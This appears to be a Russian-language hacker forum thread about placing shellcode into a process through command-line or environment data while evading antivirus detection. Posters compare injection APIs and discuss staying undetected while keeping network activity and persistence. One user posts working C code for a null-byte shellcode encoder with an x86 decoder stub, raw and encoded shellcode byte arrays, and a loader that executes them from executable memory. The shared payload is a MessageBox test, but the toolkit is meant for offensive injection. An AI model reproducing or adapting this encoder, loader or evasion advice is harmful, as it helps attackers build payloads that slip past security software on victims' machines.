PEB->ProcessParameters->Environment = nullptr

Jeffs · 19.02.2021

В общем потестил данный метод помещения шеллкода в процесс (через командную строку), хороший результат: https://dyncheck.com/scan/id/481c47117e2554a02d01e61d0a7a1674
Emsisoft, скорее всего, палит метод запуска шеллкода.

heybabyone · 19.02.2021

Jeffs сказал(а):

Emsisoft, скорее всего, палит метод запуска шеллкода.

Ты запускал его через SendMessage? Пробовал ли CreateRemoteThread и остановка/замена мейн потока на шк?

Jeffs · 19.02.2021

heybabyone сказал(а):

Ты запускал его через SendMessage? Пробовал ли CreateRemoteThread и остановка/замена мейн потока на шк?

Ничего не менял в исходнике. Ну, кроме шеллкода. Шеллкод можно уже как угодно запустить, не обязательно SendMessage(...).

Apocalypse · 19.02.2021

Сейчас бы аверу тригериться на мессаджбокс пейлоад, ну прям как маленькие. А ты попробуй проинжектиться, начать работать с сетью и закрепиться в системе.

Jeffs · 19.02.2021

Apocalypse сказал(а):

Сейчас бы аверу тригериться на мессаджбокс пейлоад, ну прям как маленькие. А ты попробуй проинжектиться, начать работать с сетью и закрепиться в системе.

Но если заинжектиться тем же VirtualAllocEx+WriteProcessMemory+CreateRemoteThread - детектов будет куда больше, даже без работы с сетью.

heybabyone · 19.02.2021

Jeffs сказал(а):

Но если заинжектиться тем же VirtualAllocEx+WriteProcessMemory+CreateRemoteThread - детектов будет куда больше, даже без работы с сетью.

он говорит не об инжекте, а о том, что твой шк делает.
1. Сделать чистый инжект раз
2. И чтоб он беспалева работал - другое

Jeffs · 20.02.2021

В общем небольшой минус нашёл у данного метода. Если ваш шеллкод содержит нуллбайты - при передаче в аргументах командной строки/env шеллкод обрежется. Нужно как-то экранировать/энкодить нуллбайты.
Нашёл у автора экондер нуллбайтов: https://gist.github.com/odzhan/d55645fe22e61883b023ef4a48a82cf7
Но мой шеллкод ломает, пока ещё не выяснил почему.

UPD: вру, всё отлично. Если кому интересно, могу выложить проект шеллкода. Сам себя дамп, энкодит нуллбайты.

Jeffs · 20.02.2021

Jeffs сказал(а):

В общем небольшой минус нашёл у данного метода. Если ваш шеллкод содержит нуллбайты - при передаче в аргументах командной строки/env шеллкод обрежется. Нужно как-то экранировать/энкодить нуллбайты.
Нашёл у автора экондер нуллбайтов: https://gist.github.com/odzhan/d55645fe22e61883b023ef4a48a82cf7
Но мой шеллкод ломает, пока ещё не выяснил почему.

UPD: вру, всё отлично. Если кому интересно, могу выложить проект шеллкода. Сам себя дамп, энкодит нуллбайты.

В общем чуток переписал под себя, может кому пригодиться:

C:

// thx https://modexp.wordpress.com/2020/06/26/shellcode-encoding-null-bytes-faster/
#define NULLZ_KEY 0x4D
#define NULLZ_DECODER_SIZE 30
char NULLZ_DECODER[] =
{
    "\xeb\x17"              // jmp 0x19
    "\x5e"                  // pop esi
    "\xad"                  // lodsd
#define NULLZ_LEN 5
    "\x35\x78\x56\x34\x12"  // xor eax, 0x12345678
    "\x91"                  // xchg eax, ecx
    "\x56"                  // push esi
    "\x5f"                  // pop edi
    "\x56"                  // push esi
    "\xac"                  // lodsb
    "\xfe\xc8"              // dec al
    "\x75\x03"              // jne 0x15
    "\xac"                  // lodsb
    "\x34\x4d"              // xor al, 0x4d
    "\xaa"                  // stosb
    "\xe2\xf5"              // loop 0xd
    "\xc3"                  // ret
    "\xe8\xe4\xff\xff\xff"  // call 2
};

BYTE* EncodeShell(DWORD* rawSize, DWORD* encSize)
{
    BYTE* shellData = (BYTE*)ShellEntry, *encShell = NULL, *pEncShell = NULL, ch;
    *rawSize = (DWORD)ShellEnd - (DWORD)ShellEntry;

    // calculate size of encoded shellcode
    for (DWORD i = 0; i < *rawSize; i++)
    {
        ch = shellData[i] + 1;
        if (ch == 0 || ch == 1)
            (*encSize) += 2;
        else
            (*encSize)++;
    }

    encShell = (BYTE*)malloc(*encSize);
    if (!encShell)
    {
        *rawSize = 0;
        *encSize = 0;
        return NULL;
    }

    pEncShell = encShell;

    // encode shellcode
    for (DWORD i = 0; i < *rawSize; i++)
    {
        ch = shellData[i] + 1;
        if (ch == 0 || ch == 1)
        {
            (*pEncShell++) = 0x01;
            (*pEncShell++) = shellData[i] ^ NULLZ_KEY;
        }
        else
        {
            (*pEncShell++) = ch;
        }
    }

    return encShell;
}

BYTE* BuildDecoder(DWORD* size)
{
    DWORD xoredSize = 0;
    BYTE* shell = NULL, *decoder = NULL, *pDecoder = NULL;
    int key = -1;
    DWORD rawSize = 0, encSize = 0;

    do
    {
        shell = EncodeShell(&rawSize, &encSize);
        if (!shell || !rawSize || !encSize)
        {
            wprintf(L"unable encode shell");
            *size = 0;
            break;
        }

        *size = encSize + NULLZ_DECODER_SIZE + sizeof(int);
        wprintf(L"shell size = %d, encoded size = %d, out size = %d\n", rawSize, encSize, *size);

        decoder = (BYTE*)malloc(*size);
        if (!decoder)
        {
            wprintf(L"unable alloc mem for decoder");
            *size = 0;
            break;
        }
        pDecoder = decoder;

        // calculate key for raw shellcode size
        for (key = -1; key != 0; key--)
        {
            xoredSize = rawSize ^ key;
            while (rawSize)
            {
                if (!(xoredSize & 0xFF)) break;
                xoredSize >>= 8;
            }
            if (xoredSize == 0) break;
        }

        if (key == NULL)
        {
            wprintf(L"unable find key");
            *size = 0;
            break;
        }

        // write decoder to buffer
        memcpy(pDecoder, NULLZ_DECODER, NULLZ_DECODER_SIZE);
        
        // patch decoder key (hardcoded 0x12345678)
        memcpy(&pDecoder[NULLZ_LEN], &key, sizeof(int));
        pDecoder += NULLZ_DECODER_SIZE;

        // calculate shellcode size and patch decoder
        xoredSize = rawSize ^ key;
        memcpy(pDecoder, &xoredSize, sizeof(int));
        pDecoder += sizeof(int);

        // write shellcode to decoder buffer
        memcpy(pDecoder, shell, encSize);
    } while (FALSE);

    if (shell) free(shell);

    return decoder;
}

Шеллкод до экодинга:

C:

#define MSG_SHELL_SIZE 401
BYTE MSG_SHELL[] =
{
    0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x18, 0x57, 0x6A, 0x55, 0x58, 0x6A, 0x73, 0x66, 0x89, 0x45, 0xE8,
    0x58, 0x6A, 0x65, 0x66, 0x89, 0x45, 0xEA, 0x58, 0x6A, 0x72, 0x66, 0x89, 0x45, 0xEC, 0x58, 0x6A,
    0x33, 0x66, 0x89, 0x45, 0xEE, 0x58, 0x66, 0x89, 0x45, 0xF0, 0x6A, 0x32, 0x58, 0x66, 0x89, 0x45,
    0xF2, 0x6A, 0x2E, 0x58, 0x66, 0x89, 0x45, 0xF4, 0x6A, 0x64, 0x58, 0x66, 0x89, 0x45, 0xF6, 0x6A,
    0x6C, 0x58, 0x66, 0x89, 0x45, 0xF8, 0x66, 0x89, 0x45, 0xFA, 0x33, 0xC0, 0x66, 0x89, 0x45, 0xFC,
    0x64, 0xA1, 0x18, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x30, 0x8B, 0x78, 0x0C, 0x83, 0xC7, 0x0C, 0x74,
    0x5B, 0x56, 0x8B, 0x37, 0x85, 0xF6, 0x74, 0x53, 0xEB, 0x14, 0x8B, 0x4E, 0x30, 0x33, 0xD2, 0x42,
    0xE8, 0x4A, 0x00, 0x00, 0x00, 0x3D, 0xC0, 0xE6, 0x0A, 0x33, 0x74, 0x08, 0x8B, 0x36, 0x3B, 0xF7,
    0x75, 0xE8, 0xEB, 0x37, 0x8B, 0x4E, 0x18, 0x85, 0xC9, 0x74, 0x30, 0xBA, 0xFF, 0xFD, 0x12, 0x20,
    0xE8, 0x6B, 0x00, 0x00, 0x00, 0x85, 0xC0, 0x74, 0x22, 0x8D, 0x4D, 0xE8, 0x51, 0xFF, 0xD0, 0x85,
    0xC0, 0x74, 0x18, 0xBA, 0x6F, 0x0C, 0xD1, 0x14, 0x8B, 0xC8, 0xE8, 0x51, 0x00, 0x00, 0x00, 0x85,
    0xC0, 0x74, 0x08, 0x33, 0xC9, 0x51, 0x51, 0x51, 0x51, 0xFF, 0xD0, 0x5E, 0x5F, 0xC9, 0xC3, 0x53,
    0x56, 0x57, 0x8B, 0xF9, 0x33, 0xF6, 0x8B, 0xC2, 0x8A, 0x1F, 0x84, 0xDB, 0x74, 0x26, 0x33, 0xD2,
    0x85, 0xC0, 0x0F, 0x95, 0xC2, 0x42, 0x0F, 0xBE, 0xCB, 0x80, 0xEB, 0x41, 0xC1, 0xC6, 0x03, 0x8B,
    0xC1, 0x83, 0xC8, 0x20, 0x80, 0xFB, 0x19, 0x0F, 0x47, 0xC1, 0x03, 0xFA, 0x33, 0xF0, 0x8A, 0x1F,
    0x84, 0xDB, 0x75, 0xE2, 0x81, 0xE6, 0xFF, 0xFF, 0xFF, 0x7F, 0x5F, 0x8B, 0xC6, 0x5E, 0x5B, 0xC3,
    0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x10, 0x53, 0x56, 0x8B, 0xF1, 0x89, 0x55, 0xFC, 0xB8, 0x4D, 0x5A,
    0x00, 0x00, 0x57, 0x66, 0x39, 0x06, 0x75, 0x61, 0x8B, 0x46, 0x3C, 0x03, 0xC6, 0x74, 0x5A, 0x81,
    0x38, 0x50, 0x45, 0x00, 0x00, 0x75, 0x52, 0xB9, 0x00, 0x20, 0x00, 0x00, 0x66, 0x85, 0x48, 0x16,
    0x74, 0x47, 0x8B, 0x48, 0x78, 0x85, 0xC9, 0x74, 0x40, 0x33, 0xFF, 0x39, 0x78, 0x7C, 0x74, 0x39,
    0x8B, 0x5C, 0x31, 0x1C, 0x8B, 0x54, 0x31, 0x20, 0x03, 0xD6, 0x89, 0x55, 0xF8, 0x8D, 0x04, 0x33,
    0x89, 0x45, 0xF0, 0x8B, 0x44, 0x31, 0x24, 0x03, 0xC6, 0x89, 0x45, 0xF4, 0x85, 0xDB, 0x74, 0x19,
    0x8B, 0x0C, 0xBA, 0x33, 0xD2, 0x03, 0xCE, 0xE8, 0x53, 0xFF, 0xFF, 0xFF, 0x3B, 0x45, 0xFC, 0x74,
    0x0F, 0x8B, 0x55, 0xF8, 0x47, 0x3B, 0xFB, 0x72, 0xE7, 0x33, 0xC0, 0x5F, 0x5E, 0x5B, 0xC9, 0xC3,
    0x8B, 0x45, 0xF4, 0x8B, 0x4D, 0xF0, 0x0F, 0xB7, 0x04, 0x78, 0x8B, 0x04, 0x81, 0x03, 0xC6, 0xEB,
    0xEA,
};

Шеллкод после энкодинга:

C:

#define MSG_SHELL_SIZE 464
BYTE MSG_SHELL[] =
{
    0xEB, 0x17, 0x5E, 0xAD, 0x35, 0xFF, 0xFF, 0xFF, 0xFF, 0x91, 0x56, 0x5F, 0x56, 0xAC, 0xFE, 0xC8,
    0x75, 0x03, 0xAC, 0x34, 0x4D, 0xAA, 0xE2, 0xF5, 0xC3, 0xE8, 0xE4, 0xFF, 0xFF, 0xFF, 0x6E, 0xFE,
    0xFF, 0xFF, 0x56, 0x8C, 0xED, 0x84, 0xED, 0x19, 0x58, 0x6B, 0x56, 0x59, 0x6B, 0x74, 0x67, 0x8A,
    0x46, 0xE9, 0x59, 0x6B, 0x66, 0x67, 0x8A, 0x46, 0xEB, 0x59, 0x6B, 0x73, 0x67, 0x8A, 0x46, 0xED,
    0x59, 0x6B, 0x34, 0x67, 0x8A, 0x46, 0xEF, 0x59, 0x67, 0x8A, 0x46, 0xF1, 0x6B, 0x33, 0x59, 0x67,
    0x8A, 0x46, 0xF3, 0x6B, 0x2F, 0x59, 0x67, 0x8A, 0x46, 0xF5, 0x6B, 0x65, 0x59, 0x67, 0x8A, 0x46,
    0xF7, 0x6B, 0x6D, 0x59, 0x67, 0x8A, 0x46, 0xF9, 0x67, 0x8A, 0x46, 0xFB, 0x34, 0xC1, 0x67, 0x8A,
    0x46, 0xFD, 0x65, 0xA2, 0x19, 0x01, 0x4D, 0x01, 0x4D, 0x01, 0x4D, 0x8C, 0x41, 0x31, 0x8C, 0x79,
    0x0D, 0x84, 0xC8, 0x0D, 0x75, 0x5C, 0x57, 0x8C, 0x38, 0x86, 0xF7, 0x75, 0x54, 0xEC, 0x15, 0x8C,
    0x4F, 0x31, 0x34, 0xD3, 0x43, 0xE9, 0x4B, 0x01, 0x4D, 0x01, 0x4D, 0x01, 0x4D, 0x3E, 0xC1, 0xE7,
    0x0B, 0x34, 0x75, 0x09, 0x8C, 0x37, 0x3C, 0xF8, 0x76, 0xE9, 0xEC, 0x38, 0x8C, 0x4F, 0x19, 0x86,
    0xCA, 0x75, 0x31, 0xBB, 0x01, 0xB2, 0xFE, 0x13, 0x21, 0xE9, 0x6C, 0x01, 0x4D, 0x01, 0x4D, 0x01,
    0x4D, 0x86, 0xC1, 0x75, 0x23, 0x8E, 0x4E, 0xE9, 0x52, 0x01, 0xB2, 0xD1, 0x86, 0xC1, 0x75, 0x19,
    0xBB, 0x70, 0x0D, 0xD2, 0x15, 0x8C, 0xC9, 0xE9, 0x52, 0x01, 0x4D, 0x01, 0x4D, 0x01, 0x4D, 0x86,
    0xC1, 0x75, 0x09, 0x34, 0xCA, 0x52, 0x52, 0x52, 0x52, 0x01, 0xB2, 0xD1, 0x5F, 0x60, 0xCA, 0xC4,
    0x54, 0x57, 0x58, 0x8C, 0xFA, 0x34, 0xF7, 0x8C, 0xC3, 0x8B, 0x20, 0x85, 0xDC, 0x75, 0x27, 0x34,
    0xD3, 0x86, 0xC1, 0x10, 0x96, 0xC3, 0x43, 0x10, 0xBF, 0xCC, 0x81, 0xEC, 0x42, 0xC2, 0xC7, 0x04,
    0x8C, 0xC2, 0x84, 0xC9, 0x21, 0x81, 0xFC, 0x1A, 0x10, 0x48, 0xC2, 0x04, 0xFB, 0x34, 0xF1, 0x8B,
    0x20, 0x85, 0xDC, 0x76, 0xE3, 0x82, 0xE7, 0x01, 0xB2, 0x01, 0xB2, 0x01, 0xB2, 0x80, 0x60, 0x8C,
    0xC7, 0x5F, 0x5C, 0xC4, 0x56, 0x8C, 0xED, 0x84, 0xED, 0x11, 0x54, 0x57, 0x8C, 0xF2, 0x8A, 0x56,
    0xFD, 0xB9, 0x4E, 0x5B, 0x01, 0x4D, 0x01, 0x4D, 0x58, 0x67, 0x3A, 0x07, 0x76, 0x62, 0x8C, 0x47,
    0x3D, 0x04, 0xC7, 0x75, 0x5B, 0x82, 0x39, 0x51, 0x46, 0x01, 0x4D, 0x01, 0x4D, 0x76, 0x53, 0xBA,
    0x01, 0x4D, 0x21, 0x01, 0x4D, 0x01, 0x4D, 0x67, 0x86, 0x49, 0x17, 0x75, 0x48, 0x8C, 0x49, 0x79,
    0x86, 0xCA, 0x75, 0x41, 0x34, 0x01, 0xB2, 0x3A, 0x79, 0x7D, 0x75, 0x3A, 0x8C, 0x5D, 0x32, 0x1D,
    0x8C, 0x55, 0x32, 0x21, 0x04, 0xD7, 0x8A, 0x56, 0xF9, 0x8E, 0x05, 0x34, 0x8A, 0x46, 0xF1, 0x8C,
    0x45, 0x32, 0x25, 0x04, 0xC7, 0x8A, 0x46, 0xF5, 0x86, 0xDC, 0x75, 0x1A, 0x8C, 0x0D, 0xBB, 0x34,
    0xD3, 0x04, 0xCF, 0xE9, 0x54, 0x01, 0xB2, 0x01, 0xB2, 0x01, 0xB2, 0x3C, 0x46, 0xFD, 0x75, 0x10,
    0x8C, 0x56, 0xF9, 0x48, 0x3C, 0xFC, 0x73, 0xE8, 0x34, 0xC1, 0x60, 0x5F, 0x5C, 0xCA, 0xC4, 0x8C,
    0x46, 0xF5, 0x8C, 0x4E, 0xF1, 0x10, 0xB8, 0x05, 0x79, 0x8C, 0x05, 0x82, 0x04, 0xC7, 0xEC, 0xEB,
};

Тест:

C:

int main()
{
    PVOID shellMem = NULL;
    shellMem = VirtualAlloc(NULL, MSG_SHELL_SIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (!shellMem)
    {
        return -1;
    }

    memcpy(shellMem, MSG_SHELL, MSG_SHELL_SIZE);

    ((T_ShellEntry)shellMem)();
    VirtualFree(shellMem, 0, MEM_RELEASE);
  
    return 0;
}

PEB->ProcessParameters->Environment = nullptr

Jeffs

(L1) cache

heybabyone

(L1) cache

Jeffs

(L1) cache

Apocalypse

CPU register

Jeffs

(L1) cache

heybabyone

(L1) cache

Jeffs

(L1) cache

Jeffs

(L1) cache